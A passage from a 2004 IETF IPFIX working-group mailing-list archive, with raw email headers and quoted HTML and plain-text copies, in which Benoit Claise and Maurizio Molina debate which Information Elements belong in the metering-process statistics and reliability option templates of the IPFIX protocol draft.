   The Metering Process Statistics Option Template defines the Metering 
   Process Statistics with the export of the following Information 
   Elements [IPFIX-INFO]: 
       ipfixOption             The value MUST be METER_STATS 
       observationDomain       Source ID 
       lostFlows               Flows not exported due to resource   
                               starvation 
       lostFlowsPackets        Packets in the lost Flows 
       lostFlowsBytes          Bytes in the lost Flows  
       droppedPacketCount      Packets dropped by Metering Process  
                           at the Observation Point 
   droppedByteCount        Bytes dropped by Metering Process at the  
                                Observation Domain 
        time;                   When this record was generated 
 
   The minimum set of Information Element in the Metering Process 
   Statistics Option Template is: ipfixOption, observationDomain, 
   lostFlows, time </B></PRE></BLOCKQUOTE>&lt;&gt;<B></B>I think this version comes from discussion between Maurizio and I, but I'm not too sure anymore, as this is pretty old. Maurizio proposed some new text at <A class=moz-txt-link-freetext href="http://ipfix.doit.wisc.edu/archive/2407.html">http://ipfix.doit.wisc.edu/archive/2407.html</A> <BR><BR>We should discuss whether we need some mandatory information element exported. If yes, which one? I reviewed the IPFIX requirement draft <A class=moz-txt-link-freetext href="http://www.ietf.org/internet-drafts/draft-ietf-ipfix-reqs-16.txt">http://www.ietf.org/internet-drafts/draft-ietf-ipfix-reqs-16.txt</A>, and the applicable sections are: </>
<BLOCKQUOTE>5.1. Reliability<BR><BR>The metering process must either be reliable or the absence of<BR>reliability must be known and indicated. The metering process is<BR>reliable if each packet passing the observation point is metered<BR>according to the configuration of the metering process. If, e.g. due<BR>to some overload, not all passing packets can be included into the<BR>metering process, then the metering process must be able to detect<BR>this failure and to report it.<BR></BLOCKQUOTE>
<BLOCKQUOTE>6.5. Regular Reporting Interval<BR><BR>The exporting process should be capable of reporting measured traffic<BR>data regularly according to a given interval length.<BR><BR>6.3.2 -&gt; discusses also the data transfer reliability: somehow related.<BR></BLOCKQUOTE><PRE>A couple of points to Maurizio's proposal, that leads to the simplified proposal below:
- I don't think we need to export the Observation Domain ID, as the scope field will determine whether the scope is the interface, the Observation Domain ID, etc...
- There are 2 different requirements in RFC3917, so we should have 2 different options template records
- I think we should remove the MUST, SHOULD, MAY requirement in the flow expiration section because the requirements imposed constraints on the metering process, and we are standardizing the IP Flow Information eXport.
  As a consequence, we should not put MUST, SHOULD, MAY requirements on the Metering Process in order to export those Option Templates.
- If you have a metering process resource starvation how can you know how many flows have been lost? It is impossible to determine how many packets are
in that flow because you can not keep flow information. All you can do is keep the count of how many packets and bytes that did not fit into the
flow table.


Here is the text I propose.

<FONT color=#ff0000><B><FONT color=#000000> 8.     Specific Reporting Requirements 
    
   Some specific Options Templates and Options Templates Records are 
   necessary to provide extra information about the Flow Records and 
   about the Metering Process.   
    
   The ipfixOption Field [IPFIX-INFO], always included in these 
   specific Options Templates, defines the type of information sent in 
   the Option Template / Option Template Record pair.  For example, if 
   the ipfixOption [IPFIX-INFO] value is METER_STATS, then the Option 
   Template will specify information about the Metering Process 
   statistics. 

<FONT color=#ff0000>   <FONT color=#000000>The Option Template and Option Template Records defined in these sub-sections 
   are not mandatory to implement as they impose some constraints about 
   the Metering Process implementation: this document specifies the protocol
   to export the records, not the Metering Process implementation.
   However, if the specific Option Templates are implemented, they should 
   implemented as specified in these sub-sections.  In any case, if the 
   ipfixOption Information Element is present, it MUST always be the first </FONT></FONT>
   Information Element in the Option Template so that the Collector
  &nbsp;can quickly determine which specific Option Template Record is received.
     
   The minimum set of Information Elements is always specified in these 
   Specific IPFIX Options Templates.  Nevertheless, extra Information 
   Elements <FONT color=#000000>may </FONT>be used in these specific Options Templates.   &nbsp;</FONT></B><B>

<FONT color=#000000>8.1      The Metering Process Statistics Option Template 
 
The Metering Process Statistics Option Template specifies the Metering 
Process Statistics. It contains the following Information 
Elements [IPFIX-INFO] 
     ipfixOption             The value is METERING_STATS 
     exportedOctetCount      The number of all octets reported 
                             by the Exporting Process to the
                             Collecting Process.
     exportedPacketCount     The number of all packets reported 
                             by the exporting process to the
                            &nbsp;Collecting Process.</FONT>
</B><FONT color=#000000><B>     exportedFlowCount       The number of all flows records 
                             reported by the Exporting Process
                            &nbsp;to the Collecting Process.</B><B> </B></FONT>
</FONT><FONT color=#000000><B>     time                    The time at which the record was generated 
 
The Exporting Process should export the Metering Process Statistics Option 
Template Record on a regular basis or based on some export policy. 
This periodicity or export policy should be configurable. The </B></FONT><FONT color=#000000><B>Metering 
Process Statistics Option Template could be extended with other Information 
Elements.</B></FONT><FONT color=#000000><B><SMALL><SMALL><DEFANGED_SPAN class=BodyTextIndentChar><DEFANGED_SPAN style="FONT-SIZE: 12pt"></DEFANGED_SPAN></DEFANGED_SPAN></SMALL></SMALL></B>
<B>
</B> <B>8.2      The Exporter Reliability Statistics Option Template </B><B>

The Exporter Reliability Option Template specifies information 
about lack of reliability in the Metering and Exporting process.
</B><B>It contains the following Information Elements [IPFIX-INFO]:</B>
<B>
     ipfixOption             The value is RELIABILITY_STATS
</B><B>     droppedFUPacketCount    Packets dropped by Metering Process
</B><B>     droppedFUOctetCount     Bytes dropped by Metering Process</B><B> </B></FONT>
<FONT color=#000000><B>     droppedFlows            Number of flow records lost due to resources 
                             starvation at Exporting Process
</B><B>     time                    The time at which the record was generated </B><B>
</B></FONT>
<FONT color=#000000><B>The Exporting Process should export the Exporter Reliability Statistics Option 
Template Record on a regular basis or based on some export policy. This periodicity or
export policy should be configurable. </B></FONT><FONT color=#000000><B>The </B></FONT><FONT color=#000000><B>Exporter Reliability Statistics </B></FONT><FONT color=#ff0000><B><FONT color=#000000>Option 
Template could be extended with other Information Elements.</FONT>

</B></FONT>Note that the ipfixOption, time, droppedFUPacketCount, droppedFUByteCount, and droppedFlows are not yet specified in [IPFIX-INFO]

Regards, Benoit.
<B>
</B>



</PRE></BLOCKQUOTE></DIV><p>
	

	
		<hr size=1><font face="Arial" size="2"><a href="http://it.rd.yahoo.com/mail/taglines/*http://it.messenger.yahoo.com"><b>Nuovo Yahoo! Messenger</b></a> E' molto più divertente: Audibles, Avatar, Webcam, Giochi, Rubrica… Scaricalo ora! 
</font>
--0-1047902291-1098392601=:5298--

--
Help        mailto:majordomo@net.doit.wisc.edu and say "help" in message body
Unsubscribe mailto:majordomo@net.doit.wisc.edu and say
"unsubscribe ipfix" in message body
Archive     http://ipfix.doit.wisc.edu/archive/


From majordomo@mil.doit.wisc.edu  Fri Oct 22 07:00:01 2004
Received: from mil.doit.wisc.edu (mil.doit.wisc.edu [128.104.31.31])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id HAA22094
	for <ipfix-archive@lists.ietf.org>; Fri, 22 Oct 2004 07:00:01 -0400 (EDT)
Received: from majordomo by mil.doit.wisc.edu with local (Exim 3.13 #1)
	id 1CKwnw-0003qT-00
	for ipfix-list@mil.doit.wisc.edu; Fri, 22 Oct 2004 05:37:52 -0500
Received: from odd-brew.cisco.com ([144.254.15.119] helo=strange-brew.cisco.com)
	by mil.doit.wisc.edu with esmtp (Exim 3.13 #1)
	id 1CKwno-0003pl-00
	for ipfix-protocol@net.doit.wisc.edu; Fri, 22 Oct 2004 05:37:44 -0500
Received: from [192.168.0.1] (ams-clip-vpn-dhcp4370.cisco.com [10.61.81.17])
	by strange-brew.cisco.com (8.11.7p1+Sun/8.8.8) with ESMTP id i9MAWc100511;
	Fri, 22 Oct 2004 12:32:38 +0200 (CEST)
Message-ID: <4178E1C6.1060602@cisco.com>
Date: Fri, 22 Oct 2004 12:32:38 +0200
From: Benoit Claise <bclaise@cisco.com>
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.7) Gecko/20040514
X-Accept-Language: en-us, en
MIME-Version: 1.0
To: Maurizio Molina <sanmaurro68@yahoo.it>
CC: ipfix-protocol@net.doit.wisc.edu
Subject: Re: [Fwd: [ipfix-protocol] PROTO-21: metering process statistics
 option template]
References: <20041021210321.7287.qmail@web60508.mail.yahoo.com>
In-Reply-To: <20041021210321.7287.qmail@web60508.mail.yahoo.com>
Content-Type: multipart/alternative;
 boundary="------------040003060905060204080704"
Precedence: bulk
Sender: majordomo listserver <majordomo@mil.doit.wisc.edu>

This is a multi-part message in MIME format.
--------------040003060905060204080704
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
X-MIME-Autoconverted: from 8bit to quoted-printable by strange-brew.cisco.com id i9MAWc100511
Content-Transfer-Encoding: quoted-printable

Maurizio,

I inserted all your proposals below in the next version of [IPFIX-PROTO]=20
I will post today, for the sake of continuing the discussion on some=20
written text.

Regards, Benoit.

>     Benoit,
>
>     some comments on your proposal.
>
>     First, since the Exporter Reliability Statistics options template,
>     as you say "specifies lack of reliability in the Metering and
>     Exporting process" I think its name is not appropriate. A
>     possibility would be to call it "Meter and Exporter Reliability
>     Statistics options template", but I don't like it either, as it
>     mixes things up. My suggestion would be to call it "Meter
>     Reliability Statistics options template", and move the "dropped
>     flows" Information element into another options template (see
>     later). Also, I would insert into this "Meter Reliability
>     Statistics options template"two other information elements giving
>     the time of the first and the last dropped packet. This time
>     information is easy to get and update (if the metering process
>     drops a packet and can update the droppedFUByteCount, it can also
>     easily update a timestamp of this event: probably the timestamp is
>     in the same data structure giving the number of bytes of the
>     dropped packet....). The time information is useful to understand
>     the dynamic of the aggregated flow of all the packets dropped by
>     the metering process. The value of the ipfixOption field should
>     become "METER_RELIABILITY_STATS"
>
>     Second, as said, I would put the "dropped flows" information
>     element in another option template, call it "Exporter Reliability
>     Statistics Option template", and give "EXPORTER_RELIABILITY_STATS"
>     as a value to its ipfixOption field. This option template should
>     contain at least the ipfixOption, the droppedFlows and the time
>     information elements (with the same meaning as in the Meter
>     Reliability Statistics options template). My suggestion, however,
>     would be to add other four information elements to it, and namely:
>
>     -droppedFAPacketCount packets in the dropped flows
>
>     -droppedFAByteCount bytes in the dropped flows
>
>     -timeFirstFADropped time of the first packet received in one of
>     the dropped flows
>
>     -timeLastFADropped time of the last packet received in one of the
>     dropped flows
>
>     These are, once again, information easy to get and to update: each
>     time you decide to drop a flow you have the full flow record, so
>     you know how many packets and bytes you're dropping, and you also
>     have the time of the first and last packet of the record: you can
>     compare them with the timeFirstFADropped and timeLastFADropped and
>     update them if necessary. In this way you have the full dynamic of
>     the aggregated flow resulting from all the drop in the exporting
>     process.
>
>     This would be more in line with my original suggestion, whose
>     intent was to give the collector an idea of the amount and dynamic
>     of the LOST traffic, so that it can compare it with the REPORTED
>     traffic.
>
>     A final note: a flow could be dropped not only because of
>     starvation of the exporting process, but also because of policies
>     of the flow recording process. Perhaps the wording can be adjusted
>     to say this....
>
>     Regards,
>
>     Maurizio
>
>     ---------------------------- Original Message
>     ----------------------------
>     Subject: [ipfix-protocol] PROTO-21: metering process statistics opt=
ion
>     template From: "Benoit Claise"
>     Date: Wed, October 20, 2004 13:06
>     To: ipfix-protocol@net.doit.wisc.edu
>     -------------------------------------------------------------------=
-------
>
>     Dear all,
>
>     The IPFIX protocol version 5 lists this remaining issue.
>     http://www.ietf.org/internet-drafts/draft-ietf-ipfix-protocol-05.tx=
t
>
>     PROTO-21: Do we need to define some mandatory content of the
>     metering process statistics option template?
>     - Maurizio suggested text on the mailing list
>     - proposal after IETF60: look at what is required in [IPFIX-
>     REQ], and come up with a minimum set of data types.
>     Note: the ipfixOption is not yet defined in the [IPFIX-INFO]; neede=
d
>     for the metering process statistics
>
>     The text in section "8.1 The Metering Process Statistics Option
>     Template"
>     is not complete:
>
>
>     *8.1 The Metering Process Statistics Option Template
>
>     The Metering Process Statistics Option Template defines the Meterin=
g
>     Process Statistics with the export of the following Information
>     Elements [IPFIX-INFO]:
>     ipfixOption The value MUST be METER_STATS
>     observationDomain Source ID
>     lostFlows Flows not exported due to resource
>     starvation
>     lostFlowsPackets Packets in the lost Flows
>     lostFlowsBytes Bytes in the lost Flows
>     droppedPacketCount Packets dropped by Metering Process
>     at the Observation Point
>     droppedByteCount Bytes dropped by Metering Process at the
>     Observation Domain
>     time; When this record was generated
>
>     The minimum set of Information Element in the Metering Process
>     Statistics Option Template is: ipfixOption, observationDomain,
>     lostFlows, time *
>
>     <>**I think this version comes from discussion between Maurizio
>     and I,
>     but I'm not too sure anymore, as this is pretty old. Maurizio
>     proposed
>     some new text at http://ipfix.doit.wisc.edu/archive/2407.html
>
>     We should discuss whether we need some mandatory information elemen=
t
>     exported. If yes, which one? I reviewed the IPFIX requirement draft
>     http://www.ietf.org/internet-drafts/draft-ietf-ipfix-reqs-16.txt,
>     and the
>     applicable sections are:
>
>     5.1. Reliability
>
>     The metering process must either be reliable or the absence of
>     reliability must be known and indicated. The metering process is
>     reliable if each packet passing the observation point is metered
>     according to the configuration of the metering process. If, e.g. du=
e
>     to some overload, not all passing packets can be included into the
>     metering process, then the metering process must be able to detect
>     this failure and to report it.
>
>     6.5. Regular Reporting Interval
>
>     The exporting process should be capable of reporting measured traff=
ic
>     data regularly according to a given interval length.
>
>     6.3.2 -> discusses also the data transfer reliability: somehow
>     related.
>
>     A couple of points to Maurizio's proposal, that leads to the
>     simplified
>     proposal below: - I don't think we need to export the Observation
>     Domain
>     ID, as the scope field will determine whether the scope is the
>     interface,
>     the Observation Domain ID, etc... - There are 2 different
>     requirements in
>     RFC3917, so we should have 2 different options template records -
>     I think
>     we should remove the MUST, SHOULD, MAY requirement in the flow
>     expiration
>     section because the requirements imposed constraints on the meterin=
g
>     process, and we are standardizing the IP Flow Information eXport.
>     As a consequence, we should not put MUST, SHOULD, MAY requirements =
on
>     the Metering Process in order to export those Option Templates.
>     - If you have a metering process resource starvation how can you
>     know how
>     many flows have been lost? It is impossible to determine how many
>     packets
>     are in that flow because you can not keep flow information. All
>     you can do
>     is keep the count of how many packets and bytes that did not fit
>     into the
>     flow table.
>
>
>     Here is the text I propose.
>
>     * 8. Specific Reporting Requirements
>
>     Some specific Options Templates and Options Templates Records are
>     necessary to provide extra information about the Flow Records and
>     about the Metering Process.
>
>     The ipfixOption Field [IPFIX-INFO], always included in these
>     specific Options Templates, defines the type of information sent in
>     the Option Template / Option Template Record pair. For example, if
>     the ipfixOption [IPFIX-INFO] value is METER_STATS, then the Option
>     Template will specify information about the Metering Process
>     statistics.
>
>     The Option Template and Option Template Records defined in these
>     sub-sections are not mandatory to implement as they impose some
>     constraints about the Metering Process implementation: this documen=
t
>     specifies the protocol to export the records, not the Metering Proc=
ess
>     implementation. However, if the specific Option Templates are
>     implemented, they should implemented as specified in these
>     sub-sections. In any case, if the ipfixOption Information Element i=
s
>     present, it MUST always be the first Information Element in the Opt=
ion
>     Template so that the Collector can quickly determine which specific
>     Option Template Record is received.
>
>     The minimum set of Information Elements is always specified in thes=
e
>     Specific IPFIX Options Templates. Nevertheless, extra Information
>     Elements may be used in these specific Options Templates. **
>
>     8.1 The Metering Process Statistics Option Template
>
>     The Metering Process Statistics Option Template specifies the
>     Metering
>     Process Statistics. It contains the following Information
>     Elements [IPFIX-INFO]
>     ipfixOption The value is METERING_STATS
>     exportedOctetCount The number of all octets reported
>     by the Exporting Process to the
>     Collecting Process.
>     exportedPacketCount The number of all packets reported
>     by the exporting process to the
>     Collecting Process.
>     ** exportedFlowCount The number of all flows records
>     reported by the Exporting Process
>     to the Collecting Process.** *
>     * time The time at which the record was generated
>
>     The Exporting Process should export the Metering Process
>     Statistics Option
>     Template Record on a regular basis or based on some export policy.
>     This
>     periodicity or export policy should be configurable. The **Metering
>     Process Statistics Option Template could be extended with other
>     Information Elements.***
>     *
>     * *8.2 The Exporter Reliability Statistics Option Template **
>
>     The Exporter Reliability Option Template specifies information
>     about lack of reliability in the Metering and Exporting process.
>     **It contains the following Information Elements [IPFIX-INFO]:*
>     *
>     ipfixOption The value is RELIABILITY_STATS
>     ** droppedFUPacketCount Packets dropped by Metering Process **
>     droppedFUOctetCount Bytes dropped by Metering Process** * *
>     droppedFlows Number of flow records lost due to resources
>     starvation at Exporting Process
>     ** time The time at which the record was generated
>     ** *
>     *The Exporting Process should export the Exporter Reliability
>     Statistics
>     Option Template Record on a regular basis or based on some export
>     policy.
>     This periodicity or export policy should be configurable. **The
>     **Exporter
>     Reliability Statistics **Option Template could be extended with oth=
er
>     Information Elements.
>
>     *Note that the ipfixOption, time, droppedFUPacketCount,
>     droppedFUByteCount, and droppedFlows are not yet specified in
>     [IPFIX-INFO]
>
>     Regards, Benoit.
>     *
>     *
>
>
>
>
>     Dear all,
>
>The IPFIX protocol version 5 lists this remaining issue.
>http://www.ietf.org/internet-drafts/draft-ietf-ipfix-protocol-05.txt
>
> PROTO-21: Do we need to define some mandatory content of the=20
>   metering process statistics option template?=20
>       - Maurizio suggested text on the mailing list=20
>       - proposal after IETF60: look at what is required in [IPFIX-
>   REQ], and come up with a minimum set of data types.=20
>   Note: the ipfixOption is not yet defined in the [IPFIX-INFO]; needed=20
>   for the metering process statistics
>
>The text in section "8.1 The Metering Process Statistics Option Template=
" is not complete:
>
>   =20
>
> *8.1      The Metering Process Statistics Option Template=20
>=20
>   The Metering Process Statistics Option Template defines the Metering=20
>   Process Statistics with the export of the following Information=20
>   Elements [IPFIX-INFO]:=20
>       ipfixOption             The value MUST be METER_STATS=20
>       observationDomain       Source ID=20
>       lostFlows               Flows not exported due to resource  =20
>                               starvation=20
>       lostFlowsPackets        Packets in the lost Flows=20
>       lostFlowsBytes          Bytes in the lost Flows =20
>       droppedPacketCount      Packets dropped by Metering Process =20
>                           at the Observation Point=20
>   droppedByteCount        Bytes dropped by Metering Process at the =20
>                                Observation Domain=20
>        time;                   When this record was generated=20
>=20
>   The minimum set of Information Element in the Metering Process=20
>   Statistics Option Template is: ipfixOption, observationDomain,=20
>   lostFlows, time *
>
>     <>I think this version comes from discussion between Maurizio and
>     I, but I'm not too sure anymore, as this is pretty old. Maurizio
>     proposed some new text at
>     http://ipfix.doit.wisc.edu/archive/2407.html
>
>     We should discuss whether we need some mandatory information
>     element exported. If yes, which one? I reviewed the IPFIX
>     requirement draft
>     http://www.ietf.org/internet-drafts/draft-ietf-ipfix-reqs-16.txt,
>     and the applicable sections are:
>
>         5.1. Reliability
>
>         The metering process must either be reliable or the absence of
>         reliability must be known and indicated. The metering process i=
s
>         reliable if each packet passing the observation point is metere=
d
>         according to the configuration of the metering process. If,
>         e.g. due
>         to some overload, not all passing packets can be included into =
the
>         metering process, then the metering process must be able to det=
ect
>         this failure and to report it.
>
>         6.5. Regular Reporting Interval
>
>         The exporting process should be capable of reporting measured
>         traffic
>         data regularly according to a given interval length.
>
>         6.3.2 -> discusses also the data transfer reliability: somehow
>         related.
>
>A couple of points to Maurizio's proposal, that leads to the simplified =
proposal below:
>- I don't think we need to export the Observation Domain ID, as the scop=
e field will determine whether the scope is the interface, the Observatio=
n Domain ID, etc...
>- There are 2 different requirements in RFC3917, so we should have 2 dif=
ferent options template records
>- I think we should remove the MUST, SHOULD, MAY requirement in the flow=
 expiration section because the requirements imposed constraints on the m=
etering process, and we are standardizing the IP Flow Information eXport.
>  As a consequence, we should not put MUST, SHOULD, MAY requirements on =
the Metering Process in order to export those Option Templates.
>- If you have a metering process resource starvation how can you know ho=
w many flows have been lost? It is impossible to determine how many packe=
ts are
>in that flow because you can not keep flow information. All you can do i=
s keep the count of how many packets and bytes that did not fit into the
>flow table.
>
>
>Here is the text I propose.
>
>* 8.     Specific Reporting Requirements=20
>   =20
>   Some specific Options Templates and Options Templates Records are=20
>   necessary to provide extra information about the Flow Records and=20
>   about the Metering Process.  =20
>   =20
>   The ipfixOption Field [IPFIX-INFO], always included in these=20
>   specific Options Templates, defines the type of information sent in=20
>   the Option Template / Option Template Record pair.  For example, if=20
>   the ipfixOption [IPFIX-INFO] value is METER_STATS, then the Option=20
>   Template will specify information about the Metering Process=20
>   statistics.=20
>
>   The Option Template and Option Template Records defined in these sub-=
sections=20
>   are not mandatory to implement as they impose some constraints about=20
>   the Metering Process implementation: this document specifies the prot=
ocol
>   to export the records, not the Metering Process implementation.
>   However, if the specific Option Templates are implemented, they shoul=
d=20
>   implemented as specified in these sub-sections.  In any case, if the=20
>   ipfixOption Information Element is present, it MUST always be the fir=
st=20
>   Information Element in the Option Template so that the Collector
>   can quickly determine which specific Option Template Record is receiv=
ed.
>    =20
>   The minimum set of Information Elements is always specified in these=20
>   Specific IPFIX Options Templates.  Nevertheless, extra Information=20
>   Elements may be used in these specific Options Templates.    **
>
>8.1      The Metering Process Statistics Option Template=20
>=20
>The Metering Process Statistics Option Template specifies the Metering=20
>Process Statistics. It contains the following Information=20
>Elements [IPFIX-INFO]=20
>     ipfixOption             The value is METERING_STATS=20
>     exportedOctetCount      The number of all octets reported=20
>                             by the Exporting Process to the
>                             Collecting Process.
>     exportedPacketCount     The number of all packets reported=20
>                             by the exporting process to the
>                             Collecting Process.
>**     exportedFlowCount       The number of all flows records=20
>                             reported by the Exporting Process
>                             to the Collecting Process.** *
>*     time                    The time at which the record was generated=
=20
>=20
>The Exporting Process should export the Metering Process Statistics Opti=
on=20
>Template Record on a regular basis or based on some export policy.=20
>This periodicity or export policy should be configurable. The **Metering=
=20
>Process Statistics Option Template could be extended with other Informat=
ion=20
>Elements.***
>*
>* *8.2      The Exporter Reliability Statistics Option Template **
>
>The Exporter Reliability Option Template specifies information=20
>about lack of reliability in the Metering and Exporting process.
>**It contains the following Information Elements [IPFIX-INFO]:*
>*
>     ipfixOption             The value is RELIABILITY_STATS
>**     droppedFUPacketCount    Packets dropped by Metering Process
>**     droppedFUOctetCount     Bytes dropped by Metering Process** *
>*     droppedFlows            Number of flow records lost due to resourc=
es=20
>                             starvation at Exporting Process
>**     time                    The time at which the record was generate=
d **
>*
>*The Exporting Process should export the Exporter Reliability Statistics=
 Option=20
>Template Record on a regular basis or based on some export policy. This =
periodicity or
>export policy should be configurable. **The **Exporter Reliability Stati=
stics **Option=20
>Template could be extended with other Information Elements.
>
>*Note that the ipfixOption, time, droppedFUPacketCount, droppedFUByteCou=
nt, and droppedFlows are not yet specified in [IPFIX-INFO]
>
>Regards, Benoit.
>*
>*
>
>
>
>   =20
>
> -----------------------------------------------------------------------=
-
> *Nuovo Yahoo! Messenger*=20
> <http://it.rd.yahoo.com/mail/taglines/*http://it.messenger.yahoo.com>=20
> E' molto pi=F9 divertente: Audibles, Avatar, Webcam, Giochi, Rubrica...=
=20
> Scaricalo ora!=20



--------------040003060905060204080704
Content-Type: text/html; charset=us-ascii
Content-Transfer-Encoding: 7bit

<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
<head>
  <meta content="text/html;charset=ISO-8859-1" http-equiv="Content-Type">
  <title></title>
</head>
<body bgcolor="#ffffff" text="#000000">
Maurizio,<br>
<br>
I inserted all your proposals below in the next version of
[IPFIX-PROTO] I will post today, for the sake of continuing the
discussion on some written text.<br>
<br>
Regards, Benoit.<br>
<blockquote cite="mid20041021210321.7287.qmail@web60508.mail.yahoo.com"
 type="cite">
  <div>
  <blockquote class="replbq"
 style="border-left: 2px solid rgb(16, 16, 255); margin-left: 5px; padding-left: 5px;"><font
 size="2">
    <p>Benoit,</p>
    <p>some comments on your proposal.</p>
    <p>First, since the Exporter Reliability Statistics options
template, as you say "specifies lack of reliability in the Metering and
Exporting process" I think its name is not appropriate. A possibility
would be to call it "Meter and Exporter Reliability Statistics options
template", but I don&#8217;t like it either, as it mixes things up. My
suggestion would be to call it "Meter Reliability Statistics options
template", and move the "dropped flows" Information element into
another options template (see later). Also, I would insert into this
"Meter Reliability Statistics options template"two other information
elements giving the time of the first and the last dropped packet. This
time information is easy to get and update (if the metering process
drops a packet and can update the droppedFUByteCount, it can also
easily update a timestamp of this event: probably the timestamp is in
the same data structure giving the number of bytes of the dropped
packet&#8230;.). The time information is useful to understand the dynamic of
the aggregated flow of all the packets dropped by the metering process.
The value of the ipfixOption field should become
"METER_RELIABILITY_STATS"</p>
    <p>Second, as said, I would put the "dropped flows" information
element in another option template, call it "Exporter Reliability
Statistics Option template", and give "EXPORTER_RELIABILITY_STATS" as a
value to its ipfixOption field. This option template should contain at
least the ipfixOption, the droppedFlows and the time information
elements (with the same meaning as in the Meter Reliability Statistics
options template). My suggestion, however, would be to add other four
information elements to it, and namely:</p>
    <p>-droppedFAPacketCount packets in the dropped flows</p>
    <p>-droppedFAByteCount bytes in the dropped flows</p>
    <p>-timeFirstFADropped time of the first packet received in one of
the dropped flows</p>
    <p>-timeLastFADropped time of the last packet received in one of
the dropped flows</p>
    <p>These are, once again, information easy to get and to update:
each time you decide to drop a flow you have the full flow record, so
you know how many packets and bytes you&#8217;re dropping, and you also have
the time of the first and last packet of the record: you can compare
them with the timeFirstFADropped and timeLastFADropped and update them
if necessary. In this way you have the full dynamic of the aggregated
flow resulting from all the drop in the exporting process.</p>
    <p>This would be more in line with my original suggestion, whose
intent was to give the collector an idea of the amount and dynamic of
the LOST traffic, so that it can compare it with the REPORTED traffic.</p>
    <p>A final note: a flow could be dropped not only because of
starvation of the exporting process, but also because of policies of
the flow recording process. Perhaps the wording can be adjusted to say
this&#8230;.</p>
    <p>Regards,</p>
    <p>Maurizio</p>
    </font>
    <p>---------------------------- Original Message
----------------------------<br>
Subject: [ipfix-protocol] PROTO-21: metering process statistics option<br>
template From: "Benoit Claise" <BCLAISE @cisco.com=""><br>
Date: Wed, October 20, 2004 13:06<br>
To: <a class="moz-txt-link-abbreviated" href="mailto:ipfix-protocol@net.doit.wisc.edu">ipfix-protocol@net.doit.wisc.edu</a><br>
--------------------------------------------------------------------------<br>
    <br>
Dear all,<br>
    <br>
The IPFIX protocol version 5 lists this remaining issue.<br>
<a class="moz-txt-link-freetext" href="http://www.ietf.org/internet-drafts/draft-ietf-ipfix-protocol-05.txt">http://www.ietf.org/internet-drafts/draft-ietf-ipfix-protocol-05.txt</a><br>
    <br>
PROTO-21: Do we need to define some mandatory content of the<br>
metering process statistics option template?<br>
- Maurizio suggested text on the mailing list<br>
- proposal after IETF60: look at what is required in [IPFIX-<br>
REQ], and come up with a minimum set of data types.<br>
Note: the ipfixOption is not yet defined in the [IPFIX-INFO]; needed <br>
for the metering process statistics<br>
    <br>
The text in section "8.1 The Metering Process Statistics Option
Template"<br>
is not complete:<br>
    <br>
    <br>
*8.1 The Metering Process Statistics Option Template<br>
    <br>
The Metering Process Statistics Option Template defines the Metering <br>
Process Statistics with the export of the following Information <br>
Elements [IPFIX-INFO]:<br>
ipfixOption The value MUST be METER_STATS<br>
observationDomain Source ID<br>
lostFlows Flows not exported due to resource<br>
starvation<br>
lostFlowsPackets Packets in the lost Flows<br>
lostFlowsBytes Bytes in the lost Flows<br>
droppedPacketCount Packets dropped by Metering Process<br>
at the Observation Point<br>
droppedByteCount Bytes dropped by Metering Process at the<br>
Observation Domain<br>
time; When this record was generated<br>
    <br>
The minimum set of Information Element in the Metering Process <br>
Statistics Option Template is: ipfixOption, observationDomain, <br>
lostFlows, time *<br>
    <br>
&lt;&gt;**I think this version comes from discussion between Maurizio
and I, <br>
but I'm not too sure anymore, as this is pretty old. Maurizio proposed <br>
some new text at <a class="moz-txt-link-freetext" href="http://ipfix.doit.wisc.edu/archive/2407.html">http://ipfix.doit.wisc.edu/archive/2407.html</a><br>
    <br>
We should discuss whether we need some mandatory information element <br>
exported. If yes, which one? I reviewed the IPFIX requirement draft <br>
<a class="moz-txt-link-freetext" href="http://www.ietf.org/internet-drafts/draft-ietf-ipfix-reqs-16.txt">http://www.ietf.org/internet-drafts/draft-ietf-ipfix-reqs-16.txt</a>, and
the<br>
applicable sections are:<br>
    <br>
5.1. Reliability<br>
    <br>
The metering process must either be reliable or the absence of<br>
reliability must be known and indicated. The metering process is<br>
reliable if each packet passing the observation point is metered<br>
according to the configuration of the metering process. If, e.g. due<br>
to some overload, not all passing packets can be included into the<br>
metering process, then the metering process must be able to detect<br>
this failure and to report it.<br>
    <br>
6.5. Regular Reporting Interval<br>
    <br>
The exporting process should be capable of reporting measured traffic<br>
data regularly according to a given interval length.<br>
    <br>
6.3.2 -&gt; discusses also the data transfer reliability: somehow
related.<br>
    <br>
A couple of points to Maurizio's proposal, that leads to the simplified<br>
proposal below: - I don't think we need to export the Observation Domain<br>
ID, as the scope field will determine whether the scope is the
interface,<br>
the Observation Domain ID, etc... - There are 2 different requirements
in<br>
RFC3917, so we should have 2 different options template records - I
think<br>
we should remove the MUST, SHOULD, MAY requirement in the flow
expiration<br>
section because the requirements imposed constraints on the metering<br>
process, and we are standardizing the IP Flow Information eXport.<br>
As a consequence, we should not put MUST, SHOULD, MAY requirements on<br>
the Metering Process in order to export those Option Templates.<br>
- If you have a metering process resource starvation how can you know
how<br>
many flows have been lost? It is impossible to determine how many
packets<br>
are in that flow because you can not keep flow information. All you can
do<br>
is keep the count of how many packets and bytes that did not fit into
the<br>
flow table.<br>
    <br>
    <br>
Here is the text I propose.<br>
    <br>
* 8. Specific Reporting Requirements<br>
    <br>
Some specific Options Templates and Options Templates Records are <br>
necessary to provide extra information about the Flow Records and <br>
about the Metering Process.<br>
    <br>
The ipfixOption Field [IPFIX-INFO], always included in these<br>
specific Options Templates, defines the type of information sent in <br>
the Option Template / Option Template Record pair. For example, if <br>
the ipfixOption [IPFIX-INFO] value is METER_STATS, then the Option <br>
Template will specify information about the Metering Process<br>
statistics.<br>
    <br>
The Option Template and Option Template Records defined in these<br>
sub-sections are not mandatory to implement as they impose some<br>
constraints about the Metering Process implementation: this document<br>
specifies the protocol to export the records, not the Metering Process<br>
implementation. However, if the specific Option Templates are<br>
implemented, they should implemented as specified in these<br>
sub-sections. In any case, if the ipfixOption Information Element is<br>
present, it MUST always be the first Information Element in the Option<br>
Template so that the Collector can quickly determine which specific<br>
Option Template Record is received.<br>
    <br>
The minimum set of Information Elements is always specified in these <br>
Specific IPFIX Options Templates. Nevertheless, extra Information <br>
Elements may be used in these specific Options Templates. **<br>
    <br>
8.1 The Metering Process Statistics Option Template<br>
    <br>
